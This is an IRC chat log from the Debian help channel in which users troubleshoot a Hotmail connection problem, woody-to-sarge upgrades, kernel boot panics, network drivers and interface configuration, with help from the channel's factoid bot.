| 16:38.34 | khorne | Worked fine for me when i was running firefox in XP as well, but not now. |
| 16:38.37 | andreas_ | RichiH Hehe! Tried Sarge... Too damn difficult coming from win2000 |
| 16:38.38 | moshii | PerfDave: the security list seems to cover sarge and sid though |
| 16:38.39 | BadMan | ok so I will jsut add the 3 you posted then |
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| 16:39.20 | PerfDave | moshii: Sarge and Sid don't get security updates. |
| 16:39.22 | moshii | andreas_: once you have X running and some sort of desktop you'll find it a lot more like home ;) |
| 16:39.44 | brullo | khorne, my girlfriend uses hotmail.com on my sarge/firefox box and it works. |
| 16:39.55 | khorne | Hhmmm... |
| 16:39.58 | khorne | Arg. |
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| 16:40.06 | PerfDave | khorne: What do you mean by it "not working"? Could it be disabling cookies or something? |
| 16:40.07 | andreas_ | moshii That was the problem.... Couldn`t get fluxbox to work... I`m satisfied with my Hoary Gnome |
| 16:40.08 | RichiH | PerfDave: true that. but then again, sarge still has many advantages over stable |
| 16:40.13 | Phated | You have a sarge box and your girlfriend uses hotmail? ;) |
| 16:40.21 | ihm | helo |
| 16:40.24 | leandro | Algeum de algum telcentro ai? |
| 16:40.38 | khorne | I don't think i have cookies disabled. When I try to get on the site, it just hangs. |
| 16:40.44 | moshii | PerfDave: not from an apt source, but the security list does give advice for sarge/sid |
| 16:40.45 | PerfDave | RichiH: Debatable. I still run Woody on all my servers, except the Opteron. |
| 16:40.59 | thingfish | leandro: join #debian-br |
| 16:41.04 | PerfDave | moshii: debian-security-announce has nothing to say about sarge. |
| 16:41.10 | RichiH | PerfDave: true, debatable. i don't |
| 16:41.10 | moshii | andreas_: getting stuff running is part of the fun ;) |
| 16:41.15 | BadMan | dkg0 would you look in #flood for a sec to see what mine will look like after its saved before I dist-upgrade? |
| 16:41.29 | khorne | I have cookies set on. |
| 16:41.31 | andreas_ | moshii Not in the middle of the night ;) |
| 16:41.35 | dkg0 | BadMan, i'm on #flood now. |
| 16:41.37 | brullo | Phated, Yes? |
| 16:41.42 | BadMan | i jsut posted it |
| 16:41.54 | PerfDave | khorne: Could be some kind of DNS problem? There's no inherent reason why Hotmail shouldn't work on Linux. |
| 16:42.00 | Phated | brullo: <shrug> It was a joke. Sorry. |
| 16:42.15 | brullo | Phated, Ok, cheers man :-) |
| 16:42.26 | BadMan | PerfDave what about a "user-agent" issue... |
| 16:42.32 | BadMan | sure |
| 16:42.48 | khorne | A friend of mine thought it might be a DNS problem, but he's a severe linux newbie like me so wasn't sure at all. |
| 16:42.49 | stew | BadMan: dkg0: apt-get dist-upgrade is broken for woody->sarge, /msg dpkg woody->sarge |
| 16:42.50 | moshii | PerfDave: even a really old post on the list from when woody was testing has "Debian Unstable alias woody" advice ;) |
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| 16:43.22 | Phated | Since when was unstable anything but sid? |
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| 16:43.44 | PerfDave | BadMan: I doubt it. My Firefox reports itself as Linux, and accesses hotmail just fine. |
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| 16:44.05 | humbolt | Is there a pam module available in debian that allows me to execute a script on login and on logout? |
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| 16:44.21 | karsten | humbolt: .bashrc and .bash_logout |
| 16:44.41 | karsten | humbolt: ...not PAM, but user config. Not sure on the PAM stuff.... |
| 16:44.49 | stew | that would be .bash_profile and .bash_logout |
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| 16:45.19 | humbolt | karsten, but I can't use these files to execute something on logout! |
| 16:45.42 | karsten | humbolt: Um. .bash_logout. |
| 16:45.43 | humbolt | even if I kill the app |
| 16:45.48 | khorne | The exact error message I get (after letting it hang for a few minutes) is "Document contains no data". |
| 16:46.00 | karsten | humbolt: Ah. Yeah, point. |
| 16:46.09 | humbolt | and I need something that even works with kde logins |
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| 16:46.44 | karsten | humbolt: You'd need some sort of a wrapper, but that's going to take some thought. As a rule, you can't guarantee on-exit behavior anyway, as it's possible the parent / child has been killed. |
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| 16:47.32 | humbolt | is there a way to set .bash_logout settings globally? |
| 16:47.49 | yo | hi |
| 16:48.16 | karsten | humbolt: Not trivially. You could hack it. Linking, say, to a system .bash_logout. |
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| 16:48.57 | yo | after last upgrade, when I remove my usb to bluetooth device the computer hangs, what can I do? |
| 16:48.58 | khorne | PerfDave, is there any way to check and see if my problem is DNS? |
| 16:49.36 | humbolt | I found a pam_script but can't compile it: security/_pam_macros.h: No such file or directory. I guess that most likely means, I need pam sources either? |
| 16:51.45 | PerfDave | khorne: You could try doing "host www.hotmail.com" from the command line, and seeing if the DNS query times out. |
| 16:52.36 | khorne | PerfDave, Nope, didn't time out. |
| 16:52.48 | khorne | I got a list of IP numbers almost instantly |
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| 16:53.45 | zx | hey google http://www.tcpsecurity.com/ :) |
| 16:53.51 | dkg0 | khorne, what happens if you try to reach hotmail with a different browser? (konqueror, epiphany, links2, etc.. |
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| 16:54.10 | khorne | Hmmm...not sure. I'll have to get one. |
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| 16:54.36 | chiizukeiki | khorne: tcpdump could come in handy too.. |
| 16:55.03 | khorne | chiizukeiki, Run that from the command line? |
| 16:55.19 | PerfDave | I think tcpdump is a bit "heavy artillery" for now ;) |
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| 16:55.33 | jethro | !sing tards day |
| 16:55.35 | chiizukeiki | khorne: yeah, it'll show what's going out and whats coming back :) |
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| 16:55.56 | ricky_clarkson | :prise jethro |
| 16:56.00 | ricky_clarkson | !prise jethro |
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| 16:56.16 | tododoc | hi, gib es auch einen deutschen chancel ??? |
| 16:56.19 | ricky_clarkson | !deutsch |
| 16:56.19 | dpkg | well, deutsch is #debian.de |
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| 16:56.31 | jethro | fuck the snow and people who can't drive when it snows |
| 16:56.34 | khorne | I get "Bash: tcpdump: command not found |
| 16:56.40 | tododoc | THX !!! |
| 16:56.43 | ricky_clarkson | !command not found |
| 16:56.43 | dpkg | Have you tried running the command as root? If it still is not found, try apt-get install <commandname>. Solves most problems. |
| 16:57.01 | ricky_clarkson | !command not found =~ s/most/some/ |
| 16:57.01 | dpkg | ricky_clarkson: OK |
| 16:57.19 | BadMan | man Iwish my dsl was faster.... Im more than 7 miles from witch and only get 350k or so.... still costs me less than dialup plus and isp |
| 16:57.41 | ricky_clarkson | !confuse BadMan |
| 16:57.41 | dpkg | No, them are your gouda tomorrow, BadMan? shirts of the dictatorship of liechtenstein with extra ham |
| 16:57.55 | jethro | dpkg: I want one! |
| 16:57.55 | jim | that won't exactly work... most developers don't name packages for some command it instlals |
| 16:58.23 | ricky_clarkson | jim: A lot do. |
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| 16:58.52 | jethro | dpkg: command not found is also see 'hdii' |
| 16:58.52 | dpkg | jethro: okay |
| 16:59.00 | jim | there's a lot of packages in debian main too |
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| 16:59.12 | jethro | !hdii |
| 16:59.13 | dpkg | How Do I Install foo ? try apt-cache search foo, then apt-get install a package. Better yet, man apt-cache and man apt-get |
| 16:59.33 | BadMan | hey what kinda of Hard disk space would I be looking at to install ever available pkg for sarge...? |
| 16:59.45 | jim | ime, not many are named for a particular command... and it's wasteful to package just one command unless it's big, like emacs |
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| 17:00.03 | jim | even emacs isn't named for its command |
| 17:00.04 | jharrisonwk | how do you add multiple ip addresses to one nic in /etc/network/interfaces? |
| 17:00.07 | jethro | jim: just do what hdii says |
| 17:00.08 | ricky_clarkson | jim: ime, many are named after a particular command :) |
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| 17:00.37 | chiizukeiki | BadMan: `you can't install every package.. those that do almost the same function conflict with each other ;) |
| 17:00.38 | anhi | for those interrested: ubuntu now has xorg 6.8.2-2 debian packages |
| 17:00.50 | jorgp | BadMan: I have sarge mirrored and the pool takes 8.5gig |
| 17:00.57 | jim | (number of packages named for a single command) / (total number of packages) ==? |
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| 17:01.02 | jharrisonwk | nevermind |
| 17:01.12 | BadMan | jorgp not bad... |
| 17:01.14 | jethro | jim: compute that and tell the world, you'll win a prize |
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| 17:01.29 | BadMan | take me some time to download it a... hehe |
| 17:01.31 | jim | I'm guessing it's less than 0.4 |
| 17:01.38 | jim | maybe much less |
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| 17:01.52 | ricky_clarkson | jim: adduser, animals-game, apt-file, aptitude, apt-listbugs, apt-listchanges, at, aumix, autoconf - out of 21 installed packages beginning with a. |
| 17:01.59 | drp | what's the debian equivalent to the version command in solaris |
| 17:02.06 | chiizukeiki | BadMan: if you want to build a local mirror use apt-proxy and only mirror the packages you need ^^ |
| 17:02.07 | Spec | How would I go about resizing my ReiserFS partition? |
| 17:02.08 | ricky_clarkson | jim: Note that I changed the factoid to read "some" not "more". |
| 17:02.14 | khorne | Wow... when I try to connect to hotmail using konqueror, I get a "connection to host is broken" message. |
| 17:02.24 | ricky_clarkson | jim: Anyway, that factoid isn't likely to make someone install something they shouldn't. |
| 17:02.29 | BadMan | when Im in a console I like the colored ls responses without adding -color=always where can i put that for adefault to entire system? |
| 17:02.40 | jim | ricky_clarkson: true... but you can change back to "most" if you can get them to also do a search |
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| 17:02.42 | archpollux | hi |
| 17:02.49 | Spec | alias ls='ls --color' |
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| 17:03.07 | jethro | jim: hence my 'see also hdii' |
| 17:03.09 | ricky_clarkson | jim: Look at the factoid as it currently is. |
| 17:03.10 | archpollux | how do i preconfigure packages with debconf before calling apt-get install (or at the same time)? |
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| 17:03.26 | jim | !command not found |
| 17:03.26 | dpkg | Have you tried running the command as root? If it still is not found, try apt-get install <commandname>. Solves some problems. see 'hdii' |
| 17:03.37 | jim | !hdii |
| 17:03.38 | dpkg | How Do I Install foo ? try apt-cache search foo, then apt-get install a package. Better yet, man apt-cache and man apt-get |
| 17:03.44 | BadMan | ummm one other thing, should I be doing the apt-get dist-upgrade while Im still logged in to kde? |
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| 17:03.57 | jim | yeah, that could work ok |
| 17:04.04 | drp | how can you tell what version you are running |
| 17:04.05 | chiizukeiki | BadMan: shouldn't be a problem |
| 17:04.22 | BadMan | chiizukeiki ok thanks... |
| 17:04.37 | MagicHands | BadMan: /etc/profile? |
| 17:04.45 | stew | BadMan: don't use apt-get dist-upgrade |
| 17:04.49 | stew | BadMan: /msg dpkg woody->sarge |
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| 17:05.42 | BadMan | bah I was in the middle of it! |
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| 17:05.58 | stew | BadMan: should have listened when i told you before |
| 17:06.10 | BadMan | I couldnt follow you to many ppl going..... |
| 17:06.15 | stew | i really should have plonked him long ago, since he never actually reads why i type |
| 17:06.29 | jethro | !hdii mozilla |
| 17:06.30 | dpkg | How Do I Install mozilla ? try apt-cache search mozilla, then apt-get install the appropriate package(s). Better yet, man apt-cache and man apt-get |
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| 17:06.42 | khorne | chiizukeiki, i got the tcpdump command to work (had to apt-get install it) and I saw the message " WARNING: eth0: no IPv4 address assigned" |
| 17:07.08 | Spec | so....eth0 has no IP |
| 17:07.42 | BadMan | maybe it didnt screw nothing up yet... I think it was stilld ownloading the stuff.... |
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| 17:08.20 | khorne | There is no IP assigned to my ethernet card?? |
| 17:08.30 | BadMan | well, I can only hope... |
| 17:08.41 | chiizukeiki | khorne: check if ifconfig |
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| 17:09.10 | j_k | o&^|} |
| 17:09.45 | drp | what version is sarge |
| 17:09.49 | drp | 3.? |
| 17:09.50 | stew | drp: 3.1 |
| 17:09.54 | drp | k |
| 17:09.55 | greycat | !sarge |
| 17:09.55 | dpkg | Ten-HUT! Fall in! Sarge is the current testing release code-name. Ask me about <d-i> to get the installer. |
| 17:10.07 | drp | i did that greycat |
| 17:10.17 | greycat | dpkg, sarge =~ s/code-name/code-name, and will be 3.1 when it's released/ |
| 17:10.18 | dpkg | greycat: OK |
| 17:10.19 | drp | thanks stew |
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| 17:10.30 | khorne | chiizukeiki, I don't really unnderstand what I see, so I'll paste it in #flood |
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| 17:10.46 | BadMan | well, if it all goes well maybe tomorrow I will be running sarge lol... |
| 17:10.51 | BadMan | off to pokerstars |
| 17:11.10 | Empty | anyone know offhand the port Barracuda spam proxies listen on? |
| 17:11.17 | Empty | for http conncts |
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| 17:11.56 | chiizukeiki | khorne: ah you're network interface if ppp0, use tcpdump -i ppp0 |
| 17:12.24 | asg | Empty: 8080 |
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| 17:12.28 | asg | Empty: or 8000 |
| 17:12.31 | ricky_clarkson | !asciismite j_k |
| 17:12.31 | XunII | 106 |
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| 17:13.02 | khorne | Though I just remembered. If I 'plog' i see the line "cannot increase MTU to 1500". |
| 17:13.31 | jim | so bring the mtu down :) |
| 17:13.41 | jim | try 296 |
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| 17:14.16 | khorne | moshii, what does the '-i ppp0' do? |
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| 17:14.36 | dreamlogi | I want to get the GD graphic display library, and the script that requests this library is a php script, then I think I must install the php4-gd package (sarge). What I dont get is why I have to install the Caudium web server and a bunch of packages that the Caudium webserver needs (I'm running apache) in order to get the php4-gd library. Is this a bug? |
| 17:14.40 | abrotman | RichiH: you'd have to change your nick ithink ... seems to mostly target the top of the alphabet |
| 17:14.49 | RichiH | abrotman: oh, ok |
| 17:14.57 | davi | What package to view MPG movies ? |
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| 17:15.04 | Empty | asg, 8000, thanks :) |
| 17:15.13 | brullo | davi, xine-ui |
| 17:15.20 | davi | thanks brullo |
| 17:15.30 | alexUC` | can i've apt-get repository for install mplayer? |
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| 17:15.40 | cdc | KDE 3.3.2 is it called testing or stable? |
| 17:15.41 | moshii | khorne: '-i ppp0' tells tcpdump that you want to listen to the ppp0 interface, you're using ppp0 to connect to the internet ^^ |
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| 17:16.00 | drac | stew: so what happens if one still does apt-get dist-upgrade in woody to get sarge? |
| 17:16.04 | klaxian | hey guys |
| 17:16.10 | anhi | alexUC`: deb ftp://ftp.nerim.net/debian-marillat unstable main |
| 17:16.11 | drac | stew: broken depencies? |
| 17:16.14 | Blissex | dreamlogi: it can be for many reasons, including some complications about PHP[45] and Apache2. |
| 17:16.18 | klaxian | do you have a clever way to batch convert some wma files to oggs? |
| 17:16.25 | ricky_clarkson | klaxian: Don't do it. |
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| 17:16.32 | abrotman | !tell alexUC` about mplayer |
| 17:16.34 | pipeline | klaxian: There's no clever way. |
| 17:16.43 | pipeline | klaxian: You'll lose an immense amount of quality |
| 17:16.44 | abrotman | anhi: you assumed he was runing unstable .. bad bad bad |
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| 17:16.50 | khorne | Do you think that will have solved my problem? |
| 17:16.51 | Blissex | dreamlogi: use 'aptitude# or 'synaptic' to study the dependencies... And in any case look at http://WWW.dotDeb.org/ for alternative PHP packages. |
| 17:16.58 | stew | drac: apt-get has to split up the install into multiple calls becuase of the argument length limit, and that ends up breaking circular dependencies |
| 17:16.59 | greycat | Hrm. Installing kernel-image-2.6.10-1-686 on it (instead of 2.4.27-2-686) causes Fn-F8 to simply do *nothing* instead of locking up the entire machine. |
| 17:17.11 | moshii | klaxian: wma sounds bad to start with, you don't want to convert them to ogg ;) |
| 17:17.11 | dreamlogi | Blissex; ok, thanks. |
| 17:17.17 | ricky_clarkson | klaxian: WMA is really badly encoded sound. Ogg is not too bad, but if you convert WMA to OGG you get two lots of encoding errors multiplied. |
| 17:17.23 | stew | drac: it was discussed in DWN a few weeks back, and read the self depending packages thread on debian-devel |
| 17:17.25 | greycat | So, what would cause a laptop to *not* switch from LCD to external monitor when the magic LCD/CRT key is pressed? |
| 17:17.29 | greycat | Is it just broken? |
| 17:17.35 | abrotman | greycat: bios ? |
| 17:17.39 | klaxian | yes i know that but I didn't think my portable Jukebox plaed WMAs |
| 17:17.39 | brullo | klaxian, the unclever way is to use a cable between you soundcards out and in connectors and use a sound recorder to record... |
| 17:17.41 | anhi | abrotman: cos i cant assume anything else on the desktop |
| 17:17.45 | klaxian | however, I was mistaken and it does |
| 17:17.49 | ricky_clarkson | greycat: On a laptop I had I had to do that at boot time. |
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| 17:17.53 | abrotman | anhi: you'd be wrong .. which is the problem with assumptions |
| 17:17.56 | klaxian | i wouldn't convert from two lossy formats if I didn't have a good reason ;) |
| 17:17.56 | greycat | ricky_clarkson: do what, precisely? |
| 17:18.05 | Blissex | greycat: lots of possible rasons. |
| 17:18.06 | ricky_clarkson | greycat: Press the magic LCD/CRT key. |
| 17:18.17 | ricky_clarkson | greycat: Oh, wait, no. I had to plug in the monitor before boot. |
| 17:18.19 | drac | stew: ok, i'll get some info about it |
| 17:18.21 | greycat | ricky_clarkson: during the BIOS, then? I can try... |
| 17:18.29 | anhi | abrotman: i cant think of anyone running stable on the desktop, more likely to use testing/unstable |
| 17:18.31 | greycat | ricky_clarkson: I've tried plugging in the monitor both before and after power-on... |
| 17:18.35 | stew | drac: its fixed in sarges apt-get/dpkg |
| 17:18.35 | Blissex | greycat: basically the routing between the graphic chipset and the output sockets in laptops is often done with special-purpose stuff. |
| 17:18.36 | klaxian | any idea when libvorbis 1.1 will get packaged? |
| 17:18.37 | alexUC` | tnx |
| 17:18.41 | abrotman | anhi: testing and unstable are not synonymous |
| 17:18.48 | greycat | !vorbis 1.1 |
| 17:18.48 | dpkg | greycat got tired of waiting for bug #273567 to be fixed, so he packaged libvorbis 1.1.0 himself. It's at http://wooledge.org/~greg/vorbis/ for the brave souls of #debian. |
| 17:18.51 | abrotman | anhi: i run testing .. not unstable .. there is a difference |
| 17:18.59 | Blissex | greycat: therefore for several types of laptop brands there are special utilities to change the routing. |
| 17:19.08 | anhi | abrotman: most ppl run a mixture of both, packages from both testing and unstable |
| 17:19.08 | klaxian | dpkg: thanks! |
| 17:19.08 | dpkg | no problem, klaxian |
| 17:19.19 | iNeo | Anyone working with the Broadcom Gig Ethernet adapters |
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| 17:19.21 | iNeo | Using the tg3 module on kernel 2.6.8 or 2.4.27 |
| 17:19.22 | abrotman | anhi: again .. bad assumption .. i do not .. thanks for playing |
| 17:19.24 | ricky_clarkson | anhi: So they run unstable with some old packages. |
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| 17:19.32 | drac | stew: dpkg factoid woody->sarge says, "use aptitude, not aptitude", typo in factoid? :) |
| 17:19.37 | greycat | iNeo: I've seen it work on at least one laptop so far. |
| 17:20.09 | greycat | dpkg, woody->sarge =~ s/not aptitude/not apt-get/ |
| 17:20.09 | dpkg | OK, greycat |
| 17:20.12 | iNeo | greycat: my system freezes when loading the driver with modprobe tg3 |
| 17:20.22 | stew | drac: thanks |
| 17:20.39 | iNeo | any idea ? |
| 17:20.43 | greycat | !any idea |
| 17:20.43 | dpkg | Yeah, I have an idea! But I'll need a box full of string, a little vegemite, and a dozen rabid bunnies. And keep the KGB off my back for the next few hours! |
| 17:20.43 | klaxian | dpkg: does he have a debian repository? i just found the .deb files |
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| 17:20.50 | greycat | klaxian: no, he doesn't. |
| 17:20.56 | klaxian | ok no worries |
| 17:21.11 | klaxian | do his vorbis libs work with sarge/sid? they say they are for woody |
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| 17:21.56 | madthinker | is there a reason my courier-imap server isn't using the INBOX directory in my user maildir? |
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| 17:22.01 | khorne | Question: When I set up my ethernet connection, I have to option to cap MTU at 1450 or some such. What is MTU and what is the purpose of capping it? |
| 17:22.01 | madthinker | am i missing a setting? |
| 17:22.13 | bobgray | are there any debian packages for tomcat? |
| 17:22.23 | asg | iNeo: what kernel are you using? |
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| 17:22.43 | iNeo | asg: I tryed 2.4.27 and 2.6.8 |
| 17:22.48 | madthinker | i'm looking at you, bob2. ;) |
| 17:22.52 | asg | iNeo: ah, sorry, didn't see it above. Debian's kernel tg3 driver on some cards is broken |
| 17:22.53 | stew | bobgray: /msg dpkg search |
| 17:23.06 | asg | iNeo: at least on my HS20s |
| 17:23.22 | asg | iNeo: downgrade to 2.6.7 or compile from vanilla sources |
| 17:23.33 | iNeo | asg: I use a Asus NRL-LS533 mobo |
| 17:23.38 | karsten | khorne: maximum transmission unit. The largest allowed packet size. |
| 17:23.49 | iNeo | asg: 2.6.7 is and option ? |
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| 17:24.03 | madthinker | does anyone have experience with courier-imap? |
| 17:24.04 | asg | iNeo: not in the new sarge installer, no. |
| 17:24.14 | khorne | karsten, Would having it capped possibly cause me to be unable to connect to certain websites? |
| 17:24.18 | karsten | khorne: I think capping it may reduce fragmentation, but I'd have toread on that. |
| 17:24.20 | iNeo | asg: I used the installer |
| 17:24.26 | karsten | khorne: That's more likely another beast.... |
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| 17:24.38 | asg | iNeo: hmmmmm, the rc2 one? |
| 17:24.45 | greycat | asg: oh, yet *another* broken thing in 2.6.8? |
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| 17:24.59 | karsten | khorne: google 'ecn' |
| 17:25.04 | asg | greycat: yes, I had to create my own sarge installer for our blades due to that bug. Even 2.4.27 is broken |
| 17:25.06 | iNeo | asg: I will try 2.6.7-686 |
| 17:25.10 | karsten | !tell khorne about ecn |
| 17:25.16 | superSSS | I installed new kernel-image 2.6.8 but booting fails, what do i have to do, old kernel 2.4.17-32 works |
| 17:25.25 | BadMan | anyone on here play poerstars under wine on sarge? |
| 17:25.37 | karsten | khorne: what the bot just told you. I haven't run into it myself, but some folks have. |
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| 17:27.00 | humbolt | pkg-checkbuilddeps: Unmet build dependencies: debmake |
| 17:27.06 | rossi | hi |
| 17:27.10 | khorne | ecn isn't electronic component news, is it? |
| 17:27.12 | Flimzy | superSSS: that obviously depends on _why_ boot fails. |
| 17:27.16 | greycat | khorne: /msg dpkg ecn |
| 17:27.21 | humbolt | how do I find out what deps need to be met |
| 17:27.38 | toresbe | Hmmmm... |
| 17:27.38 | rossi | I am very new to debian I want to install it on my pc for the first time |
| 17:27.41 | toresbe | Is there any way of making the CapsLock key act as an extra modifier? |
| 17:27.42 | greycat | humbolt: um... maybe it's debmake? |
| 17:27.44 | rossi | any advices? |
| 17:27.45 | Flimzy | humbolt: You read that... that line tells you exactly what dependancies you need. |
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| 17:27.49 | superSSS | Flimzy: I wasnt able to read message, becouse screen lines scroll one over another |
| 17:27.49 | greycat | rossi: use sarge |
| 17:27.50 | asg | greycat: you can't even get console to switch? |
| 17:27.52 | rossi | or good tuts? |
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| 17:28.09 | rossi | grey sarge where?? |
| 17:28.11 | cole122 | join/ #hackthissite.org |
| 17:28.11 | toresbe | I want to tie... for example CL + a to :Exec aterm in fluxbox? |
| 17:28.12 | greycat | asg: nothing. not during the BIOS POST, not during the F2-BIOS-Setup, not during console mode, not while in X. |
| 17:28.15 | humbolt | stupid me, I thought debmake is telling me that message |
| 17:28.21 | superSSS | Flimzy: is there a file, that logs recent kernel failures? |
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| 17:28.43 | Flimzy | superSSS: What's the last message you get when trying to boot? |
| 17:28.47 | asg | greycat: ouch. I have limited functionality on my d600 (have to flip it after typing startx) |
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| 17:29.12 | superSSS | Flimzy: let me reboot again |
| 17:29.16 | humbolt | It still does not build: pam_script.c:16:34: security/_pam_macros.h: No such file or directory |
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| 17:30.19 | rossi | grey think I 've got it |
| 17:30.30 | greycat | asg: doesn't even work if I do "startx -- -depth 16" to get the nvidia logo (normally we have to run in depth 8. pity me.) |
| 17:30.36 | iNeo | Sh*t no 2.6.7 package on the debian package website |
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| 17:31.04 | superSSS | Flimzy: kernel panic..unable to mount root fs on unknown-block 2.0 ksizeblock |
| 17:31.24 | asg | greycat: ugh |
| 17:31.30 | superSSS | Flimzy: and there are only 2 things running in ramdisk, while on 2.4.17 5 things get running |
| 17:31.33 | FieldySnuts | shouldn't that be 2,0? |
| 17:31.50 | superSSS | yes 2,0 it is |
| 17:32.11 | superSSS | looks like a wrong kernel build for this machine |
| 17:32.24 | humbolt | got it |
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| 17:33.08 | Flimzy | superSSS: Okay... well... that kernel panic tells you what you need to know |
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| 17:33.22 | superSSS | and what is that? |
| 17:33.24 | biblio | hola alguien para hablar |
| 17:33.26 | Flimzy | superSSS: It can't mount the root filesystem. You probably forgot ext2 support or ext3, or whatever filesystem you use, in your kernel |
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| 17:33.31 | ricky_clarkson | !es |
| 17:33.31 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish Speakers: Please use #debian-es, there you will get much more help. |
| 17:34.10 | superSSS | Flimzy: When i changed kernel, i only installed kernel-image-2.6.8 and rebooted, i didnt mess with any configs |
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| 17:34.32 | Flimzy | superSSS: What filesystem do you use? |
| 17:34.38 | superSSS | ext 3 |
| 17:34.46 | biblio | hola me llamo antonio |
| 17:34.55 | biblio | alguna chica para hablar |
| 17:34.59 | Flimzy | !tell biblio about es |
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| 17:35.13 | deathwarrior | jeje |
| 17:35.14 | *** mode/#Debian [+o greycat] by ChanServ |
| 17:35.18 | Silver | How do I tell debian to use a gateway? |
| 17:35.26 | *** mode/#Debian [+b *!*@55.Red-80-37-17.pooles.rima-tde.net] by greycat |
| 17:35.28 | Flimzy | Silver: /etc/network/interfaces |
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| 17:35.38 | deathwarrior | Silver, open your network/interface file |
| 17:35.42 | valdyn_ | !faq Silver |
| 17:35.43 | dpkg | Silver: http://www.linuks.mine.nu/debian-faq-wiki/ |
| 17:35.43 | sussudio | tejon! |
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| 17:36.01 | Silver | But that file is emtpy |
| 17:36.12 | Flimzy | Silver: and? |
| 17:36.18 | jharrisonwk | anyone know what driver the Davicom Semiconductor, Inc. 21x4x uses? |
| 17:36.25 | Silver | What's supposed to be in it? :) |
| 17:36.29 | greycat | jharrisonwk: sounds like a tulip |
| 17:36.31 | Silver | gateway= ? |
| 17:36.35 | Flimzy | Silver: man interfaces |
| 17:36.38 | deathwarrior | Silver, do you have a network card??? |
| 17:36.44 | valdyn_ | !faq Silver |
| 17:36.44 | jharrisonwk | greycat: is there any OTHER driver then tulip for this card? |
| 17:36.45 | dpkg | Silver: http://www.linuks.mine.nu/debian-faq-wiki/ |
| 17:36.48 | Silver | Flimzy: thanks :) |
| 17:36.50 | greycat | jharrisonwk: dunno |
| 17:36.58 | superSSS | Flimzy: can i modify that kernel-image options, or is better to install my own kernel? |
| 17:37.10 | jharrisonwk | greycat: tulip is causing kernel panics on multiple ip addresses on one nic |
| 17:37.13 | Silver | dpkg: I can't do that, I'm running a Gentoo Gateway I can ssh to and use irssi to talk to you guys, but thanks for the link |
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| 17:37.32 | Flimzy | superSSS: I always use my own kernel. I know nothing about Debian kernel images or what they support or how they can be custom configured. |
| 17:37.37 | jharrisonwk | also there is a netdev watchdog that I cannot seem to figure out how to stop it from doing what it does |
| 17:37.51 | Flimzy | Silver: dpkg is a bot |
| 17:38.10 | deathwarrior | :) |
| 17:38.18 | superSSS | Flimzy: -rw-r--r-- 1 root root 3687647 Jun 18 2001 vmlinux-2.4.17-32 |
| 17:38.19 | superSSS | -rw-r--r-- 1 root root 4319117 Feb 8 2005 vmlinux-2.6.8-2-32 |
| 17:38.29 | greycat | Oh, I forgot to mention the *other* symptom. Even under Windows XP, if you press Fn-F8, it will switch *once*, but then never again until you reboot (or possibly power-cycle). |
| 17:38.31 | Silver | Flimzy: okay :| |
| 17:38.56 | greycat | Who votes for "it's b0rked, call Dell"? |
| 17:38.56 | Flimzy | superSSS: That's nice. |
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| 17:39.28 | superSSS | Flimzy: I guess kernel-image has allready some weird parameters inside, that dont match my machine |
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| 17:40.48 | lkd | im trying to install debian using the netinst disc, but i need wlan-ng to go any further...how can i get wlan-ng into the netinst setup? |
| 17:41.13 | asg | greycat: http://ltswww.epfl.ch/~dsanta/resources/dell-i8500-linux#nvidia (don't know if you've seen this one yet but it might be useful.) |
| 17:41.24 | karsten | lkd: What's wlan-ng? |
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| 17:41.52 | rossi | guys the sarge netinstall iso |
| 17:42.06 | rossi | can I load with it the rest of the internet? |
| 17:42.10 | rossi | what I need |
| 17:42.15 | rossi | for my debian? |
| 17:42.17 | lkd | karsten - wireless lan package, works with prism2 cards |
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| 17:42.23 | karsten | lkd: ...and if that's a network support deal, my advice is to run Knoppix, if it supports your card, do a chroot install via debootstrap. |
| 17:42.27 | asg | rossi: yes provided you have a working supported network connection. |
| 17:42.36 | karsten | !tell lkd about chroot install |
| 17:42.41 | rossi | yes I have a router |
| 17:42.44 | rossi | installed |
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| 17:42.49 | karsten | lkd: Alternatively: get a supported network card for the install |
| 17:42.49 | ricky_clarkson | rossi: please don't |
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| 17:42.52 | asg | rossi: no, a debian supported nic for the installer |
| 17:42.52 | karsten | !tell rossi about enter |
| 17:42.53 | ricky_clarkson | rossi: type like |
| 17:42.55 | ricky_clarkson | rossi: this. |
| 17:42.56 | rossi | any my pc is connected to it |
| 17:43.00 | karsten | !shoot ricky_clarkson |
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| 17:43.10 | FieldySnuts | hrh |
| 17:43.12 | ricky_clarkson | !prise karsten |
| 17:43.32 | FieldySnuts | ow |
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| 17:43.40 | Phated | You started it. |
| 17:43.41 | lkd | karsten - i was just beginning to read about that...and decided to ask here first |
| 17:43.43 | rossi | ?? |
| 17:43.43 | FieldySnuts | hehe |
| 17:43.55 | karsten | lkd: Well, I wrote the chroot install docs. |
| 17:43.57 | rossi | sry not that good in english |
| 17:44.08 | rossi | I am german |
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| 17:44.11 | karsten | lkd: That said: a netinst works *iff* you've got a working network. Which you don't. |
| 17:44.12 | ricky_clarkson | rossi: Type a complete sentence before pressing return. It is easier to read. |
| 17:44.16 | asg | rossi: try #debian.de then |
| 17:44.17 | karsten | !tell rossi about enter |
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| 17:44.32 | FieldySnuts | looks like we got a mini-sunday goin on |
| 17:44.33 | lkd | karsten - the ones 'dpkg' says? |
| 17:44.34 | rossi | asg I have tried |
| 17:44.35 | ricky_clarkson | asg: No, that's for Derminican Republic. |
| 17:44.39 | rossi | on uni.erlangen |
| 17:44.49 | Deviant | I Have my wireless setup , everything seems to be set correctly but im unable to connect to my router to get an IP ! dhcpdiscover can't get it. any ideas? |
| 17:44.50 | rossi | but it did not work maybe |
| 17:44.55 | karsten | lkd: Yeah, I told it to tell you that. dpkg is a channel bot. |
| 17:44.55 | asg | ricky_clarkson: ah, forgot about the Derminicans |
| 17:44.56 | rossi | another irc server |
| 17:45.00 | ricky_clarkson | rossi: STOP. |
| 17:45.06 | lkd | i guessed that |
| 17:45.19 | karsten | lkd: There's official docs in the Debian Installation Manual Secition 3.7 <mumble> IIRC. |
| 17:45.24 | ricky_clarkson | rossi: /join #debian.de |
| 17:45.41 | rossi | how can I say my sarge install to have a static ip |
| 17:45.43 | karsten | rossi: Bitte aushoren, Danke. |
| 17:45.49 | ricky_clarkson | rossi: /etc/network/interfaces |
| 17:45.51 | lkd | Deviant - you can assign your own IP, using ifconfig |
| 17:45.52 | karsten | rossi: Geh noch #debian-de |
| 17:45.53 | asg | rossi: it will prompt you during the install. |
| 17:45.57 | asg | rossi: /msg dpkg ig (read the install guide) |
